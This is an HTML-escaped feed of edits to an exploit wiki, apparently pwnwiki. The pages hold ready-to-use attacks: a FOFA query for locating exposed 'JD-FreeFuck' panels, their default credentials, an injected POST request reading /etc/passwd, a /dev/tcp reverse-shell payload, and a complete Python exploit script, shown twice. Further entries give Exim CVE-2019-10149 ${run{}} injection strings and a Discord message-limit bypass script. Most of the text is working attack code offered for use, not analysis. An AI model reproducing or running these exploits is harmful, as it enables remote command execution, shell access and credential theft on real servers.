python3 exploit.py -u http://127.0.0.1:5678 -c &amp;quot;cat /etc/passwd&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import requests&lt;br /&gt;
import json&lt;br /&gt;
import sys&lt;br /&gt;
import argparse&lt;br /&gt;
&lt;br /&gt;
def login(url,username=&amp;quot;useradmin&amp;quot;,password=&amp;quot;supermanito&amp;quot;):&lt;br /&gt;
    loginReq = requests.Session()&lt;br /&gt;
    payload = {&lt;br /&gt;
            &amp;quot;username&amp;quot;:username,&lt;br /&gt;
            &amp;quot;password&amp;quot;:password&lt;br /&gt;
            }&lt;br /&gt;
    headers1 = {&lt;br /&gt;
        &amp;quot;Accept&amp;quot;: &amp;quot;*/*&amp;quot;,&lt;br /&gt;
        &amp;quot;User-Agent&amp;quot;:&amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36&amp;quot;,&lt;br /&gt;
        &amp;quot;Content-Type&amp;quot;:&amp;quot;application/x-www-form-urlencoded; charset=UTF-8&amp;quot;,&lt;br /&gt;
        &amp;quot;Accept-Encoding&amp;quot;: &amp;quot;gzip, deflate&amp;quot;,&lt;br /&gt;
        &amp;quot;Accept-Language&amp;quot;: &amp;quot;zh-CN,zh;q=0.9&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    headers = {&lt;br /&gt;
        &amp;quot;Accept&amp;quot;: &amp;quot;*/*&amp;quot;,&lt;br /&gt;
        &amp;quot;X-Requested-With&amp;quot;: &amp;quot;XMLHttpRequest&amp;quot;,&lt;br /&gt;
        &amp;quot;User-Agent&amp;quot;:&amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36&amp;quot;,&lt;br /&gt;
        &amp;quot;Content-Type&amp;quot;:&amp;quot;application/x-www-form-urlencoded; charset=UTF-8&amp;quot;,&lt;br /&gt;
        &amp;quot;Origin&amp;quot;: url,&lt;br /&gt;
        &amp;quot;Referer&amp;quot;: url,&lt;br /&gt;
        &amp;quot;Accept-Encoding&amp;quot;: &amp;quot;gzip, deflate&amp;quot;,&lt;br /&gt;
        &amp;quot;Accept-Language&amp;quot;: &amp;quot;zh-CN,zh;q=0.9&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    loginReq.get(url, headers=headers1)&lt;br /&gt;
    content = loginReq.post(url + &amp;quot;auth&amp;quot;,data=payload,headers=headers)&lt;br /&gt;
    response = json.loads(content.text)&lt;br /&gt;
    # print(response[&amp;quot;err&amp;quot;])&lt;br /&gt;
    # print(loginReq.cookies)&lt;br /&gt;
    if response[&amp;quot;err&amp;quot;] == 0:&lt;br /&gt;
        print(&amp;quot;login success&amp;quot;)&lt;br /&gt;
        return(loginReq)&lt;br /&gt;
    else:&lt;br /&gt;
        print(&amp;quot;login failure&amp;quot;)&lt;br /&gt;
        raise RuntimeError(&amp;quot;Can't login,beacuse -&amp;gt; &amp;quot;+response[&amp;quot;msg&amp;quot;])&lt;br /&gt;
&lt;br /&gt;
def exploit(url,session,command):&lt;br /&gt;
    ''' POST form looks like&lt;br /&gt;
    POST /runCmd HTTP/1.1&lt;br /&gt;
    Host: XXX.XXX.XXX.XXXX:5678&lt;br /&gt;
    Content-Length: 51&lt;br /&gt;
    Accept: */*&lt;br /&gt;
    X-Requested-With: XMLHttpRequest&lt;br /&gt;
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36&lt;br /&gt;
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8&lt;br /&gt;
    Accept-Encoding: gzip, deflate&lt;br /&gt;
    Accept-Language: zh-CN,zh;q=0.9&lt;br /&gt;
    Cookie: connect.0.3349226518321824=s%3AWfJDGLRc0_vdAuXSWDOYku1qMSLXcZjv.vr52DLelVmWNvsY2q7SQCH%2B8KmDzT0ds2eRw7Fay0Sc&lt;br /&gt;
    Connection: close&lt;br /&gt;
&lt;br /&gt;
    cmd=bash+jd.sh+bean_change%3Bifconfig%3B&amp;amp;delay=1000&lt;br /&gt;
    '''&lt;br /&gt;
    headers = {&lt;br /&gt;
        &amp;quot;Accept&amp;quot;: &amp;quot;*/*&amp;quot;,&lt;br /&gt;
        &amp;quot;X-Requested-With&amp;quot;: &amp;quot;XMLHttpRequest&amp;quot;,&lt;br /&gt;
        &amp;quot;User-Agent&amp;quot;:&amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36&amp;quot;,&lt;br /&gt;
        &amp;quot;Content-Type&amp;quot;:&amp;quot;application/x-www-form-urlencoded; charset=UTF-8&amp;quot;,&lt;br /&gt;
        &amp;quot;Accept-Encoding&amp;quot;: &amp;quot;gzip, deflate&amp;quot;,&lt;br /&gt;
        &amp;quot;Accept-Language&amp;quot;: &amp;quot;zh-CN,zh;q=0.9&amp;quot;,&lt;br /&gt;
        &amp;quot;Connection&amp;quot;: &amp;quot;close&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
    datas = {&lt;br /&gt;
        &amp;quot;cmd&amp;quot;:&amp;quot;bash+jd.sh+bean_change;&amp;quot;+command+&amp;quot;;&amp;quot;,&lt;br /&gt;
        &amp;quot;delay&amp;quot;:&amp;quot;1000&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
    response = session.post(url+&amp;quot;runCmd&amp;quot;,data=datas,headers=headers)&lt;br /&gt;
    # print(session.cookies)&lt;br /&gt;
    objectResponse = json.loads(response.text)&lt;br /&gt;
    # print(objectResponse)&lt;br /&gt;
    if objectResponse[&amp;quot;err&amp;quot;] == 0:&lt;br /&gt;
        print(&amp;quot;execute success&amp;quot;,&amp;quot;\n&amp;quot;)&lt;br /&gt;
        print(objectResponse)&lt;br /&gt;
        print(&amp;quot;$ &amp;quot;+command)&lt;br /&gt;
        for line in objectResponse[&amp;quot;msg&amp;quot;].split(&amp;quot;\n&amp;quot;):&lt;br /&gt;
            print(line)&lt;br /&gt;
    else:&lt;br /&gt;
        print(&amp;quot;execute failure&amp;quot;)&lt;br /&gt;
        raise RuntimeError(&amp;quot;Can't execute --&amp;gt; &amp;quot;+objectResponse[&amp;quot;msg&amp;quot;])&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot; :&lt;br /&gt;
    parser = argparse.ArgumentParser(description='this is the EXP of JD fuck')&lt;br /&gt;
    parser.add_argument(&amp;quot;-u&amp;quot;,metavar=&amp;quot;url&amp;quot;,type=str,help=&amp;quot;url there, e.g: http://127.0.0.1:5678/&amp;quot;)&lt;br /&gt;
    parser.add_argument(&amp;quot;-c&amp;quot;,metavar=&amp;quot;command&amp;quot;,type=str,help=&amp;quot;execute command, e.g: ls&amp;quot;)&lt;br /&gt;
    # print(sys.argv[1:])&lt;br /&gt;
    args = vars( parser.parse_args(sys.argv[1:]) )&lt;br /&gt;
    url = args[&amp;quot;u&amp;quot;]&lt;br /&gt;
    command = args[&amp;quot;c&amp;quot;]&lt;br /&gt;
    exploit(url,login(url),command)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==參考== &amp;lt;!--T:6--&amp;gt; &lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://www.secquan.org/Discuss/1071932#reply3&lt;br /&gt;
&lt;br /&gt;
https://mp.weixin.qq.com/s/MEcuSnroUh6z3wp9Mi_OkA&lt;br /&gt;
&lt;br /&gt;
https://github.com/Esonhugh/JD-Freefuckfucker : exp/poc&lt;/div&gt;</summary>
		<author><name>Esonhugh</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=JD-FreeFuck_%E5%BE%8C%E5%8F%B0%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=875</id>
		<title>JD-FreeFuck 後台命令執行漏洞</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=JD-FreeFuck_%E5%BE%8C%E5%8F%B0%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=875"/>
		<updated>2021-04-01T12:17:20Z</updated>

		<summary type="html">&lt;p&gt;Esonhugh: 增加poc/exp 并且 删除了 原有的 ip&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;languages  /&amp;gt;&lt;br /&gt;
==FOFA==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
title=&amp;quot;京东薅羊毛控制面板&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==默認帳號密碼== &amp;lt;!--T:1--&amp;gt;&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
useradmin/supermanito&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==漏洞利用== &amp;lt;!--T:2--&amp;gt;&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
&amp;lt;!--T:3--&amp;gt;&lt;br /&gt;
發送如下請求包執行命令：&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /runCmd HTTP/1.1&lt;br /&gt;
Host: XXX.XXX.XXX.XXX:5678&lt;br /&gt;
Content-Length: 50&lt;br /&gt;
Pragma: no-cache&lt;br /&gt;
Cache-Control: no-cache&lt;br /&gt;
Accept: */*&lt;br /&gt;
X-Requested-With: XMLHttpRequest&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded; charset=UTF-8&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6&lt;br /&gt;
Cookie: connect.0.6356777726800276=s%3Av1W6DxlSqnPpVgvMCItxElFeKI1Psh4i.eE4ORs0Yz30N0TOg1pUVpOqrpIHyrqIimuXJVO8lE7U&lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
cmd=bash+jd.sh+%3Bcat /etc/passwd%3B+now&amp;amp;delay=500&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
&amp;lt;!--T:4--&amp;gt;&lt;br /&gt;
其中 cmd 參數存在命令注入。&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
==Getshell==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cmd=bash+jd.sh+%3Bbash+-c+'exec+bash+-i+%26%3E%2Fdev%2Ftcp%2Fxxx.xxx.xxx.xxx%2F9999+%3C%261'%3B+now&amp;amp;delay=500&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== POC &amp;amp; EXP ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;import requests&lt;br /&gt;
&lt;br /&gt;
import json&lt;br /&gt;
&lt;br /&gt;
def login(url,username=&amp;quot;useradmin&amp;quot;,password=&amp;quot;supermanito&amp;quot;):&lt;br /&gt;
&lt;br /&gt;
    loginReq = requests.Session()&lt;br /&gt;
&lt;br /&gt;
    payload = {&lt;br /&gt;
&lt;br /&gt;
            &amp;quot;username&amp;quot;:username,&lt;br /&gt;
&lt;br /&gt;
            &amp;quot;password&amp;quot;:password&lt;br /&gt;
&lt;br /&gt;
            }&lt;br /&gt;
&lt;br /&gt;
    headers1 = {&lt;br /&gt;
&lt;br /&gt;
        &amp;quot;Accept&amp;quot;: &amp;quot;*/*&amp;quot;,&lt;br /&gt;
&lt;br /&gt;
        &amp;quot;User-Agent&amp;quot;:&amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36&amp;quot;,&lt;br /&gt;
&lt;br /&gt;
        &amp;quot;Content-Type&amp;quot;:&amp;quot;application/x-www-form-urlencoded; charset=UTF-8&amp;quot;,&lt;br /&gt;
&lt;br /&gt;
        &amp;quot;Accept-Encoding&amp;quot;: &amp;quot;gzip, deflate&amp;quot;,&lt;br /&gt;
&lt;br /&gt;
        &amp;quot;Accept-Language&amp;quot;: &amp;quot;zh-CN,zh;q=0.9&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    headers = {&lt;br /&gt;
&lt;br /&gt;
        &amp;quot;Accept&amp;quot;: &amp;quot;*/*&amp;quot;,&lt;br /&gt;
&lt;br /&gt;
        &amp;quot;X-Requested-With&amp;quot;: &amp;quot;XMLHttpRequest&amp;quot;,&lt;br /&gt;
&lt;br /&gt;
        &amp;quot;User-Agent&amp;quot;:&amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36&amp;quot;,&lt;br /&gt;
&lt;br /&gt;
        &amp;quot;Content-Type&amp;quot;:&amp;quot;application/x-www-form-urlencoded; charset=UTF-8&amp;quot;,&lt;br /&gt;
&lt;br /&gt;
        &amp;quot;Origin&amp;quot;: url,&lt;br /&gt;
&lt;br /&gt;
        &amp;quot;Referer&amp;quot;: url,&lt;br /&gt;
&lt;br /&gt;
        &amp;quot;Accept-Encoding&amp;quot;: &amp;quot;gzip, deflate&amp;quot;,&lt;br /&gt;
&lt;br /&gt;
        &amp;quot;Accept-Language&amp;quot;: &amp;quot;zh-CN,zh;q=0.9&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    loginReq.get(url, headers=headers1)&lt;br /&gt;
&lt;br /&gt;
    content = loginReq.post(url + &amp;quot;auth&amp;quot;,data=payload,headers=headers)&lt;br /&gt;
&lt;br /&gt;
    response = json.loads(content.text)&lt;br /&gt;
&lt;br /&gt;
    # print(response[&amp;quot;err&amp;quot;])&lt;br /&gt;
&lt;br /&gt;
    # print(loginReq.cookies)&lt;br /&gt;
&lt;br /&gt;
    if response[&amp;quot;err&amp;quot;] == 0:&lt;br /&gt;
&lt;br /&gt;
        print(&amp;quot;login success&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        return(loginReq)&lt;br /&gt;
&lt;br /&gt;
    else:&lt;br /&gt;
&lt;br /&gt;
        print(&amp;quot;login failure&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        raise RuntimeError(&amp;quot;Can't login,beacuse -&amp;gt; &amp;quot;+response[&amp;quot;msg&amp;quot;])&lt;br /&gt;
&lt;br /&gt;
def exploit(url,session,command):&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;nowiki&amp;gt;'''&amp;lt;/nowiki&amp;gt; POST form looks like&lt;br /&gt;
&lt;br /&gt;
    POST /runCmd HTTP/1.1&lt;br /&gt;
&lt;br /&gt;
    Host: XXX.XXX.XXX.XXXX:5678&lt;br /&gt;
&lt;br /&gt;
    Content-Length: 51&lt;br /&gt;
&lt;br /&gt;
    Accept: */*&lt;br /&gt;
&lt;br /&gt;
    X-Requested-With: XMLHttpRequest&lt;br /&gt;
&lt;br /&gt;
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36&lt;br /&gt;
&lt;br /&gt;
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8&lt;br /&gt;
&lt;br /&gt;
    Accept-Encoding: gzip, deflate&lt;br /&gt;
&lt;br /&gt;
    Accept-Language: zh-CN,zh;q=0.9&lt;br /&gt;
&lt;br /&gt;
    Cookie: connect.0.3349226518321824=s%3AWfJDGLRc0_vdAuXSWDOYku1qMSLXcZjv.vr52DLelVmWNvsY2q7SQCH%2B8KmDzT0ds2eRw7Fay0Sc&lt;br /&gt;
&lt;br /&gt;
    Connection: close&lt;br /&gt;
&lt;br /&gt;
    cmd=bash+jd.sh+bean_change%3Bifconfig%3B&amp;amp;delay=1000&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;nowiki&amp;gt;'''&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    headers = {&lt;br /&gt;
&lt;br /&gt;
        &amp;quot;Accept&amp;quot;: &amp;quot;*/*&amp;quot;,&lt;br /&gt;
&lt;br /&gt;
        &amp;quot;X-Requested-With&amp;quot;: &amp;quot;XMLHttpRequest&amp;quot;,&lt;br /&gt;
&lt;br /&gt;
        &amp;quot;User-Agent&amp;quot;:&amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36&amp;quot;,&lt;br /&gt;
&lt;br /&gt;
        &amp;quot;Content-Type&amp;quot;:&amp;quot;application/x-www-form-urlencoded; charset=UTF-8&amp;quot;,&lt;br /&gt;
&lt;br /&gt;
        &amp;quot;Accept-Encoding&amp;quot;: &amp;quot;gzip, deflate&amp;quot;,&lt;br /&gt;
&lt;br /&gt;
        &amp;quot;Accept-Language&amp;quot;: &amp;quot;zh-CN,zh;q=0.9&amp;quot;,&lt;br /&gt;
&lt;br /&gt;
        &amp;quot;Connection&amp;quot;: &amp;quot;close&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    datas = {&lt;br /&gt;
&lt;br /&gt;
        &amp;quot;cmd&amp;quot;:&amp;quot;bash+jd.sh+bean_change;&amp;quot;+command+&amp;quot;;&amp;quot;,&lt;br /&gt;
&lt;br /&gt;
        &amp;quot;delay&amp;quot;:&amp;quot;1000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    session.get(url+&amp;quot;home&amp;quot;,headers=headers)&lt;br /&gt;
&lt;br /&gt;
    session.get(url+&amp;quot;run&amp;quot;,headers=headers)&lt;br /&gt;
&lt;br /&gt;
    session.get(url+&amp;quot;runCmd&amp;quot;,headers=headers)&lt;br /&gt;
&lt;br /&gt;
    response = session.post(url+&amp;quot;runCmd&amp;quot;,data=datas,headers=headers)&lt;br /&gt;
&lt;br /&gt;
    # print(session.cookies)&lt;br /&gt;
&lt;br /&gt;
    objectResponse = json.loads(response.text)&lt;br /&gt;
&lt;br /&gt;
    # print(objectResponse)&lt;br /&gt;
&lt;br /&gt;
    if objectResponse[&amp;quot;err&amp;quot;] == 0:&lt;br /&gt;
&lt;br /&gt;
        print(&amp;quot;execute success&amp;quot;,&amp;quot;\n&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        print(&amp;quot;$ &amp;quot;+command)&lt;br /&gt;
&lt;br /&gt;
        for line in objectResponse[&amp;quot;msg&amp;quot;].split(&amp;quot;\n&amp;quot;)[1:-1]:&lt;br /&gt;
&lt;br /&gt;
            print(line)&lt;br /&gt;
&lt;br /&gt;
    else:&lt;br /&gt;
&lt;br /&gt;
        print(&amp;quot;execute failure&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        raise RuntimeError(&amp;quot;Can't execute --&amp;gt; &amp;quot;+objectResponse[&amp;quot;msg&amp;quot;])&lt;br /&gt;
&lt;br /&gt;
url = &amp;quot;&amp;lt;nowiki&amp;gt;http://ip:port/&amp;lt;/nowiki&amp;gt;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
exploit(url,login(url),&amp;quot;ifconfig&amp;quot;)&amp;lt;/blockquote&amp;gt;&amp;lt;translate&amp;gt;&lt;br /&gt;
==參考== &amp;lt;!--T:5--&amp;gt;&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://www.secquan.org/Discuss/1071932#reply3&lt;br /&gt;
&lt;br /&gt;
https://mp.weixin.qq.com/s/MEcuSnroUh6z3wp9Mi_OkA&lt;/div&gt;</summary>
		<author><name>Esonhugh</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2019-10149_Exim%E9%83%B5%E7%AE%B1%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;diff=512</id>
		<title>CVE-2019-10149 Exim郵箱服務漏洞</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2019-10149_Exim%E9%83%B5%E7%AE%B1%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;diff=512"/>
		<updated>2021-03-20T13:32:04Z</updated>

		<summary type="html">&lt;p&gt;Esonhugh: 增加一些信息 并且 加入 poc 的引用&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;languages  /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== '''影响范围''' ==&lt;br /&gt;
Exim 版本 4.87 至 4.91 &lt;br /&gt;
&lt;br /&gt;
==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 'RCPT TO &amp;quot;${run{...}}@relaydomain.com&amp;quot;'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 noob+${run{/usr/bin/touch /tmp/hello}}@myserver.com&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== '''引用''' ==&lt;br /&gt;
https://github.com/MNEMO-CERT/PoC--CVE-2019-10149_Exim/blob/master/PoC_CVE-2019-10149.py&lt;/div&gt;</summary>
		<author><name>Esonhugh</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Discord_API%E6%BF%AB%E7%94%A80day&amp;diff=510</id>
		<title>Discord API濫用0day</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Discord_API%E6%BF%AB%E7%94%A80day&amp;diff=510"/>
		<updated>2021-03-20T13:17:27Z</updated>

		<summary type="html">&lt;p&gt;Esonhugh: exp 运行 的时候缺少参数&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;br /&gt;
{| style=&amp;quot;margin: auto; width: 750px;&amp;quot;&lt;br /&gt;
| style=&amp;quot;text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;&amp;quot; |&lt;br /&gt;
{| cellspacing=&amp;quot;2px&amp;quot;&lt;br /&gt;
| valign=&amp;quot;middle&amp;quot; | [[Image:Hand.png|50px]]&lt;br /&gt;
| 這個頁面需要補充，如果您了解該內容，請直接編輯詞條。&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;noinclude&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==漏洞原理：== &amp;lt;!--T:1--&amp;gt;&lt;br /&gt;
將賬戶的出生日期設置爲小於13歲以禁用Token，因爲Discord會自動禁用所有者小於13歲的賬戶。&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--T:2--&amp;gt;&lt;br /&gt;
請注意，已經設置DoB的賬戶不受到此漏洞影響。&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
==EXP:==&lt;br /&gt;
Usage:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
py example.py &amp;lt;token&amp;gt; &amp;lt;channel-id&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Name: 2000 Characters Limit Bypass&lt;br /&gt;
# Description: Sends an URI that contains characters that gets URL encoded when sent, which increases the length of the message.&lt;br /&gt;
# Author: checksum (@0daySkid)&lt;br /&gt;
# Original founder: Siaxos&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
import random&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
class Exploit:&lt;br /&gt;
&lt;br /&gt;
    def __init__(self, token, channel):&lt;br /&gt;
        self.token = token&lt;br /&gt;
        self.channel_id = channel&lt;br /&gt;
        self.headers = {'Authorization': token}&lt;br /&gt;
&lt;br /&gt;
    @property&lt;br /&gt;
    def uri(self):&lt;br /&gt;
        chars = ''.join(random.choice('\'&amp;quot;^`|{}') for _ in range(1993))&lt;br /&gt;
        return f'&amp;lt;a://a{chars}&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
    def execute(self):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot; send magical URI &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        return requests.post(f'https://discordapp.com/api/v6/channels/{self.channel_id}/messages', headers=self.headers, json={'content': self.uri})&lt;br /&gt;
&lt;br /&gt;
    &lt;br /&gt;
def main():&lt;br /&gt;
    if len(sys.argv) &amp;lt; 3:&lt;br /&gt;
        print(f'Usage: py {sys.argv[0]} &amp;lt;token&amp;gt; &amp;lt;channel id&amp;gt;')&lt;br /&gt;
        sys.exit()&lt;br /&gt;
&lt;br /&gt;
    token = sys.argv[1]&lt;br /&gt;
    channel_id = sys.argv[2]&lt;br /&gt;
&lt;br /&gt;
    exploit = Exploit(token, channel_id)&lt;br /&gt;
&lt;br /&gt;
    exploit.execute()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    main()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==作者：== &amp;lt;!--T:3--&amp;gt;&lt;br /&gt;
原始作者未知。&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;/div&gt;</summary>
		<author><name>Esonhugh</name></author>
	</entry>
</feed>